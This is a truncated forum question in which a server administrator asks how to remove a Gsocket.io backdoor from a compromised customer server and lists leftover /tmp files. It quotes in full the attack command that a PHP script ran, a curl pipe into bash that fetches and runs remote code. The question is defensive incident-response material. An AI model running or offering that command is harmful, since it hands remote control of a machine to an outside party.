Removing Gsocket.io connection from server [duplicate]
My customer server has been compromised. They running this script by the PHP script
bash -c "$(curl -fsSL https://gsocket.io/x)"
and I have several folder in /tmp file as below
-rw——- 1 *** *** 153310 Sep 30 12:07 phpb0wrlJ
… Continue reading Removing Gsocket.io connection from server [duplicate]